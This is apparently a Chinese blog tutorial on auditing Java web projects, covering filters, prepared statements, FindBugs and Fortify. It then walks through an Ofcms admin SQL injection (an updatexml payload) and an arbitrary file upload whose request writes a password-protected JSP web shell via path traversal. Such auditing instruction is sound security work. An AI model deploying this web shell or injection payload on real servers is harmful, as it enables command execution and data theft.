55 代码审计-JAVA项目注入上传搜索或插件挖掘

目录

    • 必备知识点
    • 演示案例:
      • 简易Demo段SQL注入及预编译
      • IDEA审计插件FindBugs安装使用
      • Fortify_SCA代码自动审计神器使用
      • Ofcms后台SQL注入-全局搜索关键字
      • Ofcms后台任意文件上传-功能点测试
    • 涉及资源:

我们一般针对java项目,进行漏洞分析的话,主要是从三方面去分析,代码层面分析,还有代码引用或编写的框架,框架也会有一些安全问题。除此之外,容器搭建也会造成安全问题,这个是简要的分类,我们分析的三个方向
在这里插入图片描述
由于javaweb的语言特性和一些常规的php和脚本,大致不一样,所以在漏洞方面的类型也会有些小范围的区别,这个可以参考我们之前讲过的webgoat java环境靶场里面的常规漏洞进行分析,这个是整体的思路

这些知识点,我们前期简要的去看一下就好了,这些常规意思你下去看到查一下,记住几个就行了
这个跟我们php里面get提交、post提交比较类似
在这里插入图片描述
在这里插入图片描述

必备知识点

简要理解JAVAWEB项目组成
代码方面,框架方面,中间件容器方面等
简要理解JAVAWEB执行流程
参考下图及
https://www.cnblogs.com/1987721594zy/p/9186584.html
https://blog.csdn.net/weily11/article/details/80643472

我们着重讲过滤器,他可以由配置文件指定过滤器,filter在代码中会有相关的过滤和防护,由filter 来指定,所以说java和php这些常规的脚本不同的地方,java在执行的时候会有过滤器,过滤器可以进行配置、编写
一般我们在看源代码的时候,要优先看一下源码里面有没有过滤器,过滤器的一些写法又是怎样的

com:
公司项目,copyright由项目发起的公司所有
包名为com.公司名.项目名.模块名…
持久层: dao、persist、mapper
实体类: entity、model、bean、javabean、pojo
业务逻辑: service、biz
控制器: controller、servlet、action、web
过滤器: filter
异常: exception
监听器: listener

我们要知道这些常规命名代表什么意思
在不同的框架下一般包的命名规则不同,但大概如上,不同功能的 Java 文件放在不同的包中,根据 Java 文件的功能统一安放及命名。

#审计思路:
根据业务功能审计优点:
明确程序的架构以及业务逻辑,明确数据流向,
可以从获取参数–>表现层–>业务层–>持久层,通读源码;
缺点:耗费时间;

根据敏感函数审计优点:
可以快速高效的挖出想要的漏洞,判断敏感函数上下文,追踪参数源头;
缺点:覆盖不了逻辑漏洞,不了解程序的基本框架;

#审计开始前:
1、确定框架:
目的:要分析一下当前框架是否存在漏洞
通过以下三种方式确定框架:
web.xml
看导入的jar包或pom.xml
看配置文件
Struts2 配智文件:struts.xml
Spring配置文件: applicationContext.xml
Spring Mvc 配置文件: spring-mvc.xml
Hibernate 配置文件: Mibernate.cfg.xml
Mybaits 配置文件: mybatis-config.xml

确定框架是为了便于对框架进行了解,因为每个框架不同的话,那么框架的安全性也不同,我们知道Struts2曾经报过很多漏洞,特别是RCE执行漏洞,在前面几年非常火,所以你确定是这个框架开的项目之后,一旦这个框架曾经报过漏洞,或者说这个框架不怎么安全,也会对这个项目造成漏洞攻击

2、查看是否存在拦截器
通过查看web.xml文件,确定是否配置相关拦截器。

我们即使看到代码中可能存在安全问题,但是由于这个过滤器的存在,那么你在测试攻击的时候,也会受到过滤器的拦截,这个跟PHP的一些东西是不太一样的,他是把一些过滤器写到配置文件里面去,那么代码就受到过滤器的保护,所以过滤器是我们执行流程比较关注的点,因为他决定这个漏洞是否能够成功应用的一个根本

演示案例:

简易Demo段SQL注入及预编译

大家要分析java代码,是没有一些好的审计工具,大家需要安装idea工具,java开发的环境有很多idea,这里我们使用的是IntelliJ IDEA,因为这个是比较主流的
在这里插入图片描述
现在我们把项目载入进去,常规的javaweb代码,是有jsp格式去书写的,那么在有些项目里面,格式是java类型的,这个是看他的开发框架,有没有引用开发框架,如果没有引用框架,那大部分源码都是jsp的格式源码,如果有引用框架,那一般是java和jar一些的格式文件
在这里插入图片描述

在这个文件里面,一般java源码、他的web代码,一般是储存在src/main/webapp里面,还有一个是src/main/java/com.anbai.sec
在这里插入图片描述

在这里插入图片描述
一般我们是看java目录和webapp目录,一般web的源码是存放在webapp下面,在下面我们可以看到这里有些目录同时有些jsp文件,jsp文件就是一些很简单的程序源码,如果是jar的还需要对jar的源码进行反编译查看,反编译很简单,可以利用一些工具进行反编译,还可以把jar文件拖到idea里面自动进行反编译
在这里插入图片描述
我们看一下jsp代码
在这里插入图片描述
代码中出现了关键字,其中有sql语句,user在接收过来之后,并没有受到相关的影响
在这里插入图片描述
我们把项目运行起来,我们找到那个文件,后面加上参数
在这里插入图片描述
这些是运行起来中间件的信息,他可以实时监控你返回的地址信息
在这里插入图片描述
为了更加方便,我们自己开个数据库的插件工具来监听一下当前数据库的执行语句
在这里插入图片描述
我们刷新一下刚才地址,来看一下当前语句执行情况,可以看到在这边执行了sql语句,你可以看到在这边执行了sql语句,你可以看到上面采用java连接到数据库的连接请求,我们执行了sql语句
在这里插入图片描述
我们测试一下有没有注入点,我们加上去看它数据库有没有进行组合就完事了,可以看到这里爆出了1和2
在这里插入图片描述
我们接着继续进行注入,这里就是简单的demo段sql注入
在这里插入图片描述
在这里插入图片描述
列名接上参数值再配个问号这种写法就会造成预编译机制,就是防注入的情况,我们在分析注入点的时候,你在判断注入点参数,在加上这个值user = ?的时候,那这个东西一般就是采用预编译机制了
在这里插入图片描述
我们保存一下,把项目重启一下,再去测试一下刚才的注入点
你只要加上任何东西就会变成问号,这个就是java里面自带的预编译机制
在这里插入图片描述
创建预编译对象,他会把sql语句进行预编译在这里插入图片描述
典型的代码执行语句前后问题,他是防止sql注入最有效的东西,预编译机制,这个在PHP里面也有,但是php很少看到,一般在java会常看到

java里面采用预编译机制写法特别简单,只要是稍微懂点安全的人,在数据库执行加上变量的时候,会采用?,一旦写上,预编译机制就会被采用,所以这个注入就很难进行

虽然预编译机制理论上是可以绕过的,但是要看情况,它是需要看代码写法的,有些预编译是可以绕过的,大部分是绕过不了或者是很鸡肋

大家如果是在java中分析注入代码的时候,你一定要看一下sql语句的编写方式,是不是采用我们刚才安全写法的预编译机制,采用这种机制,这个注入点是很难去操作的,那么这个注入点的挖掘是可以忽略不计了

如果是下面这个写法的话,可以去追踪一下,这里有没有过滤器
在这里插入图片描述
过滤器看pom.xml
在这里插入图片描述
这个就是过滤器的申明,关键字是filter,如果有过滤器的话,就要找到过滤器的代码段,然后分析一下,这个地方会不会受到过滤器的影响
在这里插入图片描述
java代码审计整体上跟php差不多的,只是在语言设计上面有些区别,难点是代码比较难懂,在就是它自身的框架比较多

IDEA审计插件FindBugs安装使用

利用插件是用来自动分析的,一般我们进行java代码审计是人为,人为分为两方面,第一种是根据业务功能审计优点,我们要知道java项目是干嘛用的,比如说它是论坛程序、交友程序、简简单单的门户网站,我们要知道项目面对功能不一样的话,比如他是通过文件下载的站,那么就会涉及到文件操作,就会优先考虑文件下载、上传、遍历这些漏洞,所以我们通过项目的业务功能,来去着重的分析漏洞产生点

在PHP里面经常讲到的,搜索关键字,通过这些敏感函数,比如文件类操作函数,我们就通过搜索文件类操作函数来寻找文件操作类漏洞,文件上传、文件下载;如果是注入类漏洞,就搜索sql语句关键字、接收方式,我们可以通过搜索关键字来确定你要找的方向

除了人工思路之外,还可以借助工具,这种工具就是采用自动化,一种是项目的插件,还有一种是我们比较知名的代码分析神器Fortify,Fortify支持大部分的脚本,用Fortify的原因是很多工具都不支持java

用工具去分析,可以打开突破口,相当于我们不需要去想前面的事情,只需要用这两个插件帮我们跑一下,跑完之后,我们在根据上面给到的提示,再去分析代码

FindBugs是我们第二推荐的,这个插件主要是找bug,但是他里面也集成了找安全漏洞的功能

参考网上的安装文章安装一下FindBugs
在这里插入图片描述
我们选中java项目,点开始按钮,点击是
在这里插入图片描述
他这里就会分析有没有相关漏洞,从代码中分析到这个地方可能存在安全问题,我们这种看security目录,其它一些目录都是其它的,因为这个插件主要是用来分析java书写的bug
在这里插入图片描述
这里存在sql注入和csrf漏洞、弱口令、密码显示
在这里插入图片描述
我们打开看一下,他分析到代码是在这个地方有问题
在这里插入图片描述
这个插件在用的时候,顺便用一下,我个人不是很推荐,他只是说更好的帮你分析代码的工具,真正来说,它分析到漏洞的机率不是很高,还是要用Fortify

FindBugs插件有个缺点,不能分析jsp文件,这是它最大的缺点

Fortify_SCA代码自动审计神器使用

我们打开这款工具
在这里插入图片描述
由于是java项目,然后我们选择的是这个
在这里插入图片描述
他会让我们选择java的版本,这个是根据你自己电脑安装的java版本选择的
在这里插入图片描述
一般默认就可以了
在这里插入图片描述
这个扫描过程,根据你当前电脑的配置、项目大小,他会有一段时间,大部分在三、五分钟,电脑配置比较低的话,不建议用,会崩的
在这里插入图片描述
这个就是扫描结果
在这里插入图片描述
扫描出来的sql注入
在这里插入图片描述
文件就是这个地方
在这里插入图片描述
我们进行注入测试,这里就不说,就是注入点
在这里插入图片描述
在这里插入图片描述
这边命令执行,参数cmd可控
在这里插入图片描述

Fortify工具是非常好的,他能帮你自动找到脆弱点,让你直接载入进去去看,这个是工具自动化帮你分析一遍,找到切入点,你再去确定有没有这个漏洞

idea使用技巧,把代码段打开之后,编辑>查找>在路径中查找,这个就是全局查找
在这里插入图片描述
也就是在项目中查找关键字,这边可以指定范围和一些其它的
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在项目中搜索select,通过关键字也能分析到一些问题
在这里插入图片描述

选中函数,点击查找使用,分析一下代码在那里出现过,就是全局搜索,定位函数差不多的意思,要看一下这个函数从那里来,我们要分析一下这个函数的过滤和一些写法,来分析他有没有过滤
在这里插入图片描述
选中方法,点击他
在这里插入图片描述
其实就是建立数据库连接的东西
在这里插入图片描述

Ofcms后台SQL注入-全局搜索关键字

我们载入项目
在这里插入图片描述
拿到源码之后,还是需要简单了解一下源码的业务功能,了解一下他整体的设计,看一下他的架构
在这里插入图片描述
在这里插入图片描述
项目依赖、配置文件
在这里插入图片描述
拿到源码之后,我们一般要看一下他的pom.xml,看完这个之后,还需要看一下web.xml
公司名称、几个目录
在这里插入图片描述
数据库版本
在这里插入图片描述
确认框架
在这里插入图片描述
我们点击外部库,看他引用了那些外部库
在这里插入图片描述
搜一下web.xml也能搜索出来
在这里插入图片描述
看到了过滤器和监听器了
在这里插入图片描述
一般我们在看项目源码的时候,优先看一下这几个文件,确定一下常规的信息之后,你整体的思路就比较明显了,就知道这个程序对应是什么套路,有什么框架加什么东西的开发

我们采取人工和工具同时进行,先使用工具对整体源码进行分析
在这里插入图片描述
然后把网站先给启动起来
在这里插入图片描述
进行插件分析也可以
在这里插入图片描述
网站已经启动成功了
在这里插入图片描述
我们看一下idea工具运行的地方,可以看到很多的sql语句交互的界面
在这里插入图片描述
搜索一下sql语句的关键字,这个地方好像有安全问题
在这里插入图片描述
这里定义了sql语句
在这里插入图片描述
sqlOrgnoToID没有被调用
在这里插入图片描述

我们进行全局搜索试一下,sqlOrgnoToID写法有问题,但是sqlOrgnoToID函数没有被调用过
在这里插入图片描述
我们搜索的时候只能搜索一些关键字进行确定,搜索数据库的操作性函数、搜索写法的关键字
Db.update猜想是数据库里面执行sql语句
在这里插入图片描述
结果可以在窗口中查询
在这里插入图片描述
这个地方可能存在sql注入点,因为他这里接收到sql语句之后,就用update执行了
在这里插入图片描述
我们查找文件地址在那里
在这里插入图片描述
文件地址找到之后,我们去访问文件,触发文件地址,第一个是要看他框架的路由;第二个看他代码里面有没有申明路由地址

在java里面有action开端的就是路由地址,也就是说访问system/generate/地址信息,就是触发文件
在这里插入图片描述
然后他定义的里面方法叫create,我们加create参数,就是触发这个方法,然后传递sql变量触发他
在这里插入图片描述
我们打开admin目录,登录后台
在这里插入图片描述
我们现在去触发地址,这个就是说我们直接访问不行,要有一些数据包构造,自己抓包进行分析,配合BP,就是分析它后台的地址信息,然后加载看是不是目录搞错了
在这里插入图片描述
我们现在就来访问这个地址
在这里插入图片描述
点击一下用户管理,触发地址链接,对照着去修改它
在这里插入图片描述
把路由地址信息替换一下
在这里插入图片描述
我们把它发出去,看一下对应界面的更改
在这里插入图片描述
我们现在要触发create方法,我们抓数据包进行分析,我们刷新看一下,我们看到源代码是没有query方法
在这里插入图片描述
我们点击增加这里看一下,写个test
在这里插入图片描述
这个就是触发方法,跟thinkPHP差不多
在这里插入图片描述
只是后面加了json,这个json是上面代码段包含文件默认的写法,要追踪一下java包,所以通过源代码之后,这个地址就会完整的构造出来
在这里插入图片描述
它给的参数名是sql就对应上了
在这里插入图片描述
在这里插入图片描述
我们构造payload发送过去,这个是根据数据库的情况决定的语句,如果是oracle数据库就是oracle数据库的注入语句,我这边是mysql

update of_cms_link set link _name=updatexml(1, concat(0x7e,(version())),0) where link_id=4

在这里插入图片描述
然后这里报错了
在这里插入图片描述
这个漏洞是产生在后台的,也就是说这个漏洞是鸡肋漏洞,他不是在前端的,前端的漏洞这个程序没有,它只有后台有这个漏洞,后台有这个漏洞的意义是可以操纵数据库,通过这个sql语句拿网站权限,因为后台到网站权限还有一步之遥,所以你发现这个漏洞之后,可以通过这个漏洞获取网站权限,但是这个是代码分析,分析到了sql注入漏洞

Ofcms后台任意文件上传-功能点测试

模板这里有修改文件的,其实这是个上传文件的地方
在这里插入图片描述
点保存,我们抓个包,这个地址对应save文件
在这里插入图片描述
我们搜索save方法,找到对应文件的函数
在这里插入图片描述
操作代码在这里,这里就是典型的文件接收过来的写入文件,它其实就是文件上传写入,在这个地方没有过滤
在这里插入图片描述
我们只要满足这几个参数值传递过去,就能实现文件的写入

file_path=$dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22pOdesta%22.equals(request.getParameter(%22pwd%22)))%7b%OA++++++++java.io.InputStreamt+in+*3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputstream()%3A%0A++++++++int+a+%3D+-1%3B%0A+++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A+++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

在这里插入图片描述
上传成功
在这里插入图片描述
在这里插入图片描述
就是我们写入的代码
在这里插入图片描述
这个就是典型的功能点导入文件的分析,通过代码上面的地址信息,分析这个地方有没有相关过滤,如何实现过滤

我们从两方面入手,第一方面全局搜索关键字找特定漏洞的代码段,第二方面,网站搭建完,测试功能点,然后抓包,通过抓包的地址信息来找到对应代码段,然后分析代码段的情况

有些框架会把函数进行整改,这个是接收函数
在这里插入图片描述
但真正来讲函数是这样写的,它把函数给重新定义了,这样我们去搜索的话,就搜索不到原型,这个就是搜索关键字不好的一点,不过你通过源代码阅读分析的话,把这个东西找到是一样的道理
在这里插入图片描述
这是ofcms的两个鸡肋漏洞,因为都是在后台,前端没有漏洞,不过我们熟悉的是它整体代码的分析

从分析过程中,大家也都知道java和php的区别,第一个是代码上的区别,第二个主要是java文件对应地址的区别,这是一个比较核心的点
一些文件里面你要看路由地址
在这里插入图片描述
然后你抓包的时候看一下
在这里插入图片描述
这个路由一般会在里面申明,thinkphp里面是官方的,这个也是遵循java怎么写的,所以你要翻文件,来确定这个文件的写法;它常规的过滤器写法,sql语句的写法是它自带的,预编译机制,java语言的特性

我们懂一些pyhon、php、c++,看java代码应该能看一些明白,因为很多代码的英文单词已经写的很清楚了,save就是保存在这里插入图片描述
javaweb代码审计之所以难,是因为它的框架不一样,框架不一样,它的安全问题也不一样,就好比我们php里面使用thinkphp开发的源码,它就遵循thinkphp里内置的安全规则;java也是一样,假设你是用struts2开发的,那struts2的安全属性流程你就要按照它的来,我们讲框架漏洞只能抽其中一两个去讲,太多框架讲不完

这个框架的选用是根据网站自身决定的,常用的框架就那几种,如果网站是专门对数据库进行操作的,就选用ORM型框架,例如MyBatis框架和Hibernate框架;文章显示,会以这三种SpringMVC,Struts2框架,Spring框架,java程序有多个框架,这就是java代码审计为什么难的原因,网站用什么框架,那网站的安全就归那个框架使用,你使用什么框架就遵循它引用的规则,就会应用它自身的过滤器进行拦截,对攻击进行防护,struts2报过安全漏洞,所以框架在引用的时候,会导致源码的安全性问题;框架安全的话,源码就安全

vulhub有很多中间件漏洞,中间件漏洞不属于代码层面的,它是它中间件自身的代码漏洞
在这里插入图片描述

涉及资源:

https://blog.csdn.net/x62982/article/details/88392968
https://blog.csdn.net/weily11/article/details/80643472
https://www.cnblogs.com/kingsonfu/p/12419817.html
https://www.cnblogs.com/1987721594zy/p/9186584.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/283068.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python 函数与参数传递

一、函数的定义和调用 在python中,如果经常重复使用一些代码,可以把它们创建为一个函数,这可以大大减少编程工作量。用户创建的函数叫做自定义函数。定义函数时要使用def关键字,格式如下: def 函数名(参数…

Linux+Docker+Gitee+Jenkins自动化部署.NET Core服务

目录 一、安装Jenkins 1、跟新yum包 2、查询镜像 3、拉取镜像 4、创建Jenkins工作目录,并将容器内目录挂载到此目录上 5、启动Jenkins容器 二、Jenkins配置 1、Jenkins安装gitee码云插件 2、创建私人令牌 3、Jenkins添加全局凭据 4、系统配置 三、构建任…

数据安全传输基础设施平台(一)

1引言 1.1项目简介 数据安全传输基础设置平台项目(简称,数据传输平台),是一款基础设施类项目,为集团、企业信息系统的提供统一、标准的信息安全服务;解决企业和企业之间,集团内部信息数据的传…

C# WPF上位机开发(函数运行时间分析)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 上位机除了基本功能和稳定性之外,还有一个要注意的就是运行效率的问题。如果我们想提高软件的运行效率,单位时间做更多的工…

12.5,12.15AVL树更新,定义,插入

定义平衡因子为右子树高度减去左子树高度 AVL树插入分为两步: 按照二叉搜索树的方式插入新节点调整平衡因子 对于平衡因子的调整,在插入之前,所有节点的平衡因子分为三种情况:0,1,-1插入后,新…

手机上的python怎么运行,python在手机上怎么运行

大家好,本文将围绕python程序如何在手机端运行展开说明,python程序如何在手机上运行是一个很多人都想弄明白的事情,想搞清楚手机上的python怎么运行需要先了解以下几个事情。 如何用手机编程Python? 1.QPython3:这是一…

华为eNSP点到点IP隧道实验GRE--VPN

实验还原 配置如下 AR1 [Huawei]un in en [Huawei]sys AR1 [AR1]inte g0/0/0 [AR1-GigabitEthernet0/0/0]ip ad 192.168.1.254 24 [AR1-GigabitEthernet0/0/0]inte g0/0/1 [AR1-GigabitEthernet0/0/1]ip ad 192.1.1.1 24 [AR1-GigabitEthernet0/0/1]ospf [AR1-ospf-1]ar 1 […

Node.js多版本管理切换

nodejs多版本管理软件:https://github.com/coreybutler/nvm-windows 安装方法 https://www.jianshu.com/p/9ba4cd0706da

多层记忆增强外观-运动对齐框架用于视频异常检测 论文阅读

MULTI-LEVEL MEMORY-AUGMENTED APPEARANCE-MOTION CORRESPONDENCE FRAMEWORK FOR VIDEO ANOMALY DETECTION 论文阅读 摘要1.介绍2.方法2.1外观和运动对其建模2.2.记忆引导抑制模块2.3. Training Loss2.4. Anomaly Detection 3.实验与结果4.结论 论文标题:MULTI-LEVE…

【每日一题】【12.17】746.使用最小花费爬楼梯

🔥博客主页: A_SHOWY🎥系列专栏:力扣刷题总结录 数据结构 云计算 数字图像处理 力扣每日一题_ 1.题目链接 746. 使用最小花费爬楼梯https://leetcode.cn/problems/min-cost-climbing-stairs/ 2.题目详情 今天的每日一题又…

数据库交付运维高级工程师-腾讯云TDSQL

数据库交付运维高级工程师-腾讯云TDSQL上机指导,付费指导,暂定99

LV.13 D5 uboot概述及SD卡启动盘制作 学习笔记

一、uboot概述 1.1 开发板启动过程 开发板上电后首先运行SOC内部iROM中固化的代码(BL0),这段代码先对基本的软硬件环境(时钟等...)进行初始化,然后再检测拨码开关位置获取启动方式,然后再将对应存储器中的uboot搬移到内存,然后跳…